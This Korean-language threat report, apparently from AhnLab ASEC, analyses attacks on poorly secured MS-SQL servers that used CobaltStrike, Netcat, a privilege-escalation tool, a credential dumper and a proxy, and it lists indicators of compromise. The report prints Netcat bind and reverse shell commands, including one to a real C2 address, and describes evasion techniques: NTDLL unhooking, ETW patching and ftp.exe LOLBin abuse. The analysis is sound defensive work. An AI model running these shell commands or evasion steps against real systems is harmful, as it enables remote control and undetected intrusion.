ASEC(AhnLab Security Emergency response Center)은 최근 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 Netcat 악성코드가 유포되고 있는 것을 확인하였다. Netcat은 TCP / UDP 프로토콜로 연결된 네트워크 상에서 특정 대상과 데이터를 송수신하게 해주는 유틸리티이다. 리눅스뿐만 아니라 윈도우 환경에서도 사용 가능하며, 다양한 기능들을 제공하기 때문에 네트워크 관리자뿐만 아니라 공격자들에 의해서도 다양하게 사용되고 있다.
1. Netcat
악성코드 관점에서 Netcat의 특징이라고 한다면 원격 쉘(Remote Shell)로서 사용 가능하다는 점이다. 원격 쉘은 공격 대상이 되는 시스템에 대한 쉘을 제공하여 공격자가 공격 대상 시스템에 대한 제어를 획득할 수 있게 해준다. 예를 들어 윈도우 환경에서는 명령 프롬프트를 통해 외부에 존재하는 공격자가 원하는 명령을 공격 대상 시스템에서 실행할 수 있다.
원격 쉘은 통신 방식에 따라 바인드 쉘(Bind Shell) 및 리버스 쉘(Reverse Shell)로 나뉜다. 바인드 쉘은 감염 시스템에서 특정 포트를 오픈하고 대기하며 공격자가 해당 포트로 접속할 때 쉘을 제공하는 형태이고, 리버스 쉘은 공격자의 시스템에서 특정 포트를 오픈하고 있다가 감염 시스템에서 해당 포트로 접속하는 형태이다.
바인드 쉘은 간단하다는 장점이 있지만 외부에서 연결하는 형태이다 보니 방화벽과 같은 보안 제품에서 쉽게 탐지가 가능하고 사설망(NAT : Network Address Translation) 환경에서 동작할 경우 외부에서 접속이 불가한 단점이 있다. 리버스 쉘은 최초 통신 과정에서 감염 시스템이 외부로 연결하는 형태이다 보니 이러한 문제점 없어 대부분의 공격에서는 리버스 쉘이 사용되고 있다.
다음은 Netcat(nc.exe)을 이용해 바인드 쉘 및 리버스 쉘을 설치하는 명령을 보여준다. 바인드 쉘을 예로 들자면 감염 시스템에서 특정 포트를 오픈하고 있다가 공격자가 접속할 경우 전달받은 패킷을 cmd 즉 명령 프롬프트에 전달하고 반대로 명령 프롬프트를 통해 실행된 명령의 출력 결과를 공격자의 주소로 다시 보내준다. 리버스 쉘은 최초 통신 방향만 다를 뿐 이후 과정은 동일하다.

- 바인드 쉘
감염 시스템 > nc.exe -lp <포트 번호> -e cmd
공격자 > nc.exe <감염 시스템 IP 주소> <포트 번호> - 리버스 쉘
감염 시스템 > nc.exe <공격자 IP 주소> <포트 번호> -e cmd
공격자 > nc.exe -lp <포트 번호>
2. MS-SQL 서버 공격 사례
ASEC에서는 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 하는 공격을 모니터링하고 있으며, ASEC Report에서도 공격 수량 및 공격에 사용된 악성코드들과 같은 정보들을 분기 별로 통계를 통해 공개하고 있다.[1]

부적절하게 관리되고 있는 MS-SQL 서버라고 한다면 주로 외부에 노출되어 있으면서 계정 정보를 단순하게 설정하여 무차별 대입 공격이나 사전 공격에 취약한 환경을 말한다. 만약 공격자가 로그인에 성공할 경우 시스템에 대한 제어는 공격자에게 넘어가게 되며 악성코드를 설치하거나 악의적인 명령을 실행할 수 있다.
참고로 MS-SQL은 윈도우 서버에서만 설치되는 것이 아니며, 데스크탑 환경에도 설치될 수 있다. 예를 들어 특정 ERP 및 업무용 솔루션을 설치할 경우 함께 설치되는 경우도 있기 때문에 MS-SQL 서버에 대한 공격은 윈도우 서버뿐만 아니라 윈도우 데스크탑 환경도 대상이 될 수 있다는 특징이 있다.
현재 분석 대상 시스템은 외부에 노출된 MS-SQL 서버가 설치된 환경이며 부적절한 계정 정보를 가지고 있는 것으로 추정된다. 이에 따라 다양한 공격자들은 이미 계정 정보를 획득하였으며, Remcos RAT뿐만 아니라 tzw 랜섬웨어를 설치하려고 시도했던 로그들도 다수 확인된다.
하지만 이번에 확인된 공격은 이러한 대량의 공격 캠페인과 달리 구체적인 공격 대상에 대해 공격이 성공할 때까지 다양한 도구들을 이용해 지속적인 시도를 했다는 점이 차이점이다. 공격자는 “D:\DB\” 경로에 다수의 악성코드들을 생성하고 실행하였다. 사용되는 도구들 중에는 중국 개발자가 제작하여 깃허브에 공개한 도구들이 대부분이다. 구체적인 공격자를 특정하기에는 부족한 정보이지만 최소한 공격자들이 중국어에 익숙하다는 특징은 확인할 수 있다.
경로명 | 악성코드 분류 | 설명 |
---|---|---|
D:\DB\artifact.exe | CobaltStrike | 백도어 |
D:\DB\git.exe | CobaltStrike | 백도어 |
D:\DB\mimih3.exe | CobaltStrike | 백도어 |
D:\DB\nc64m.exe | Netcat | 네트워크 도구 (리버스 쉘) |
D:\DB\rasman.exe | RasmanPotato | 권한 상승 도구 |
D:\DB\SharpDecryptPwd.exe | SharpDecryptPwd | 계정 정보 수집 도구 |
D:\DB\info.exe | Stowaway | 프록시 도구 |
D:\DB\agent.exe | Stowaway | 프록시 도구 |
2.1. CobaltStrike
공격자는 처음에는 코발트 스트라이크들을 사용하여 감염 시스템에 대한 제어를 획득하려고 시도하였다. 하지만 V3 제품에 의해 코발트 스트라이크의 실행이 차단됨에 따라 정상적으로 동작하지 않았으며, 이후 다수의 코발트 스트라이크들을 추가적으로 제작해 공격하였다. 공격자가 사용한 코발트 스트라이크는 HTTPS Stager로서 C&C 서버에서 실제 백도어인 비컨(beacon)을 다운로드해 메모리 상에서 실행한다.
다음은 Stager가 다운로드한 코발트 스트라이크 비컨에 대해 SentinelOne 사의 CobaltStrikeParser[2] 툴로 추출한 결과이다.

코발트 스트라이크 설치에 실패한 공격자는 이후 Netcat을 이용해 리버스 쉘을 설치하려고 시도하였다. 어떻게 보면 훨씬 편하게 사용할 수 있는 도구인 코발트 스트라이크 대신 Netcat을 이용한 이유는 V3에 의해 지속적으로 차단되어 감염 시스템에 대한 제어 획득이 불가능해졌기 때문으로 추정된다.
2.2. RasmanPotato
설치된 악성코드들 중에는 RasmanPotato[3]라고 하는 권한 상승 도구도 존재한다. RasmanPotato는 깃허브에 공개된 오픈 소스 도구로서 RasMan 서비스를 이용해 권한을 상승시켜 주는 악성코드이다.

Potato 유형의 악성코드들로는 JuicyPotato, BadPotato, SweetPotato 등 다양한 종류가 있는데, 모두 현재 실행 중인 프로세스 계정의 토큰들 중 특정 권한을 악용하는 방식으로 권한을 상승시켜 주는 기능을 수행한다. Potato 악성코드들은 웹쉘이나 MS-SQL 서버를 대상으로 하는 공격에 주로 사용된다. 이는 해당 프로세스들이 취약점이나 부적절한 설정에 의해 공격자의 명령을 실행할 수 있다고 하더라도 기본 설정에 의해 낮은 권한을 가지고 실행 중임에 따라 해당 프로세스의 권한으로 실행되는 악성코드 또한 추가적인 악성 행위를 수행하는데 한계가 존재하기 때문이다.
RasmanPotato를 설치한 이후에는 정상적으로 권한 상승이 이루어졌는지 여부를 확인하기 위해 공격자가 다음과 같은 명령을 실행해 현재 프로세스의 권한을 확인하는 로그도 확인된다.
> d:/db/rasman.exe -c whoami
2.3. SharpDecryptPwd
SharpDecryptPwd[4]는 계정 정보를 수집해 보여주는 커맨드 라인 도구이다. 만약 감염 시스템에 Navicat, TeamViewer, FileZilla, WinSCP, Xmanager(Xshell, Xftp)와 같은 프로그램들이 설치되어 있고 사용자가 자주 사용하는 계정 정보를 저장하여 설정 파일에 해당 정보들이 저장되어 있을 경우 이를 복호화하여 보여줄 수 있다.

2.4. Stowaway
공격자는 Netcat으로 제어를 획득한 이후에는 Stowaway[5]라고 하는 프록시 도구를 설치하였다. 공격자들은 주로 외부에서 직접적으로 접근하기 어려운 내부망 환경에 접근하기 위해 프록시 도구들을 설치하는 경향이 있다. 공격자는 감염 시스템이 속한 네트워크 존재하는 다른 시스템들을 추가적으로 공격할 목적으로 Stowaway를 설치한 것으로 보인다.

참고로 마지막 인자인 “qaxnb”는 실제 Stowaway에서 사용한 인자가 아니며 Stowaway를 패킹한 패커가 검증에 사용하는 문자열이다. 만약 5번째 인자로 해당 문자열이 포함되지 않을 경우에는 아무런 행위를 수행하지 않고 종료한다.
참고로 해당 패커는 이외에도 진단 및 분석을 방해하기 위한 추가적인 기법들을 제공한다. 먼저 현재 메모리 상에 로드된 NTDLL의 코드 영역을 원본 NTDLL의 코드로 복구한다. 이는 보안 제품에 의해 설치된 후킹을 제거함으로써 행위 기반의 탐지를 우회하기 위한 목적이다.

이외에도 ETW (Event Tracing for Windows) 기능을 비활성화하기 위해 EtwEventWrite() 함수를 패치하는 루틴도 존재한다. ETW는 윈도우에서 제공하는 이벤트 추적 메커니즘으로써 보안 제품에서 악성코드 탐지를 위해 ETW를 활용하는 경우가 많다. 해당 패커는 EtwEventWrite() 함수가 호출 즉시 종료하도록 패치함으로써 악성코드가 수행하는 이벤트가 윈도우에 전달되는 것을 막는다.


3. Netcat with LOLBins
공격자는 코발트 스트라이크 설치에 실패한 이후 Netcat을 설치하여 감염 시스템을 제어하려고 시도하였다. 구체적으로 리버스 쉘 방식으로 Netcat을 실행하였으며, 정상적으로 실행될 경우 공격자는 cmd 즉 명령 프롬프트를 통해 악의적인 명령을 실행할 수 있게 된다.

> d:/db/nc64m.exe -e cmd.exe 107.175.111[.]199 8083
하지만 공격자가 실행한 Netcat 명령은 차단되어 정상적으로 동작하지 않았으며, 공격자는 이후 다음과 같이 C&C 서버와의 통신 이후 쉘 즉 cmd 대신 ftp를 실행시키는 형태로 Netcat을 동작시켰다. 일반적으로 Netcat의 e 옵션에는 cmd가 사용되는데, 원격 쉘로서 동작하기 위해서는 C&C 서버와의 통신을 쉘의 기능을 담당하는 프로그램으로 전달해야 하기 때문이다.

구체적인 패킷은 확인되지 않지만 공격자는 LOLBins (Living Off the Land Binaries and Scripts) 기법으로서 FTP를 사용한 것으로 추정된다. LOLBins는 운영체제에 기본적으로 존재하는 도구들로서 다른 악성코드를 실행하거나 다운로드하는 등 악의적인 행위로 사용할 수 있는 도구들을 말한다. 최근 보안 제품에서는 파일 기반의 진단 외에도 행위를 기반으로 하는 진단 기능을 제공하는데, 단순한 형태로 실행될 경우에는 그만큼 쉽게 탐지될 수 있다. 이에 따라 공격자들은 LOLBins를 악용하여 악성코드를 실행하거나 다운로드함으로써 이러한 행위 기반의 보안 제품을 우회할 수 있다.
윈도우에서 제공하는 “ftp.exe”는 일반적으로 FTP 클라이언트로서의 기능을 담당하지만 이외에도 “!” 명령을 추가적으로 제공한다. “!”는 ftp에서 커맨드 라인 명령을 실행할 수 있는 명령인데 이를 이용하면 직접적으로 쉘 즉 cmd를 실행시키는 대신 ftp를 거쳐서 cmd를 실행시킬 수 있다.[6] 공격자는 FTP 클라이언트의 특정 기능을 악용하여 Netcat이 직접 cmd를 실행시키는 대신 ftp를 통해 cmd를 실행시킴으로써 단순한 형태의 행위 탐지를 우회할 수 있는 것이다.

4. 결론
최근 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 Netcat을 이용한 공격 사례가 확인되었다. 공격자는 감염 시스템에 대한 제어를 획득하기 위해 코발트 스트라이크뿐만 아니라 Netcat을 공격에 사용하였으며, 이외에도 권한 상승 및 정보 탈취, 프록시 도구 등 다양한 악성코드들을 추가적으로 설치하였다.
MS-SQL 서버를 대상으로 하는 공격에는 대표적으로 부적절하게 계정 정보를 관리하고 있는 시스템들에 대한 무차별 대입 공격(Brute Forcing)과 사전 공격(Dictionary Attack)이 있다. 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 데이터베이스 서버를 보호해야 한다.
그리고 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 또한 외부에 공개되어 접근 가능한 데이터베이스 서버에 대해 방화벽과 같은 보안 제품을 이용해 외부 공격자로부터의 접근을 통제해야 한다. 위와 같은 조치가 선행되지 않을 경우 공격자 및 악성코드들에 의해 계속적인 감염이 이루어질 수 있다.
파일 진단
– HackTool/Win.Stowaway.R5391243 (2023.03.06.00)
– Backdoor/Win.CobaltStrike.R5390727 (2023.03.04.01)
– HackTool/Win.Netcat.R5390726 (2023.03.04.01)
– Trojan/Win.Generic.R5390221 (2023.03.02.03)
– Trojan/Win.Generic.R5388505 (2023.02.26.03)
– Backdoor/Win.CobaltStrike.C360995 (2022.09.20.00)
– Malware/Win32.Generic.R4386013 (2021.03.23.00)
행위 진단
– Execution.MDP.NetCat.M4516
메모리 진단
– Downloader/Win.CobaltStrike.XM83
– Trojan/Win.ETWBypass.XM161
IOC
MD5
– 7cc986338d60af5f2b0f1a17d5ed0542 : 코발트 스트라이크 (artifact.exe)
– 3cdc614b55c9426a73fcfc194f3c13bc : 코발트 스트라이크 (git.exe)
– d16c0494d4ad7cf0c353eafe38985c7d : 코발트 스트라이크 (mimih3.exe)
– 844a9d708d3beb530b18d9ed7f3490a3 : 코발트 스트라이크 (mimih3.exe)
– 5ffad0ca02a426664249e9b9c0a2a122 : RasmanPotato (rasman.exe)
– 6ca5c7421c246efeb938eb73d3a93dd0 : SharpDecryptPwd (SharpDecryptPwd.exe)
– 4d3e3dab638640e4995357d6df2ea131 : Netcat (nc64m.exe)
– 21c2d9e1586d7fb7ac6fe8174a966513 : Stowaway (info.exe)
– deb07c605672a5b37873c2377cba1c09 : Stowaway (agent.exe)
다운로드 주소
– 107.175.111[.]199:52443/bootstrap-2.min.js : 코발트 스트라이크 Stager
– ccbsec.ccb[.]fyi:443/bootstrap-2.min.js : 코발트 스트라이크 Stager
C&C 주소
– ccbsec.ccb[.]fyi:443/api/info : 코발트 스트라이크 비컨
– 107.175.111[.]199:8081 : Netcat
– 107.175.111[.]199:8083 : Netcat
– 107.175.111[.]199:58000 : Stowaway
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.
Categories:악성코드 정보